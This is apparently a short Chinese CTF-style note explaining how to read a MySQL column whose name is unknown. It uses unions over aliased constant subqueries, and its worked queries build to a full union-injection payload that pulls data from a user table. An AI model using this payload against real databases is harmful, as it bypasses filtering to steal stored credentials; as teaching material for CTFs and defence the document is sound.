Mysql巧妙绕过未知字段名的技巧

admin

存放flag的字段名未知，information_schema.columns也将表名的hex过滤了，即获取不到字段名；这时可以利用联合查询，过程如下：

思想就是获取flag，让其在已知字段名下出现；
[pre]
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| a | b | c | d |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
| 1 | 2 | 3 | 4 |
+---+---+---+---+
1 row in set (0.00 sec)

mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
+---+-------+----------+-------------+
| 1 | 2     | 3        | 4           |
+---+-------+----------+-------------+
| 1 | 2     | 3        | 4           |
| 1 | admin | admin888 | 110@110.com |
| 2 | test  | test123  | 119@119.com |
| 3 | cs    | cs123    | 120@120.com |
+---+-------+----------+-------------+
4 rows in set (0.01 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
+-------------+
| 4           |
+-------------+
| 4           |
| 110@110.com |
| 119@119.com |
| 120@120.com |
+-------------+
4 rows in set (0.03 sec)

mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;

+-------------+
| 4           |
+-------------+
| 120@120.com |
+-------------+
1 row in set (0.01 sec)

mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
+-------------+----------+----------+-------------+
| id          | username | password | email       |
+-------------+----------+----------+-------------+
| 1           | admin    | admin888 | 110@110.com |
| 120@120.com | 1        | 1        | 1           |
+-------------+----------+----------+-------------+
2 rows in set (0.04 sec)
[/pre]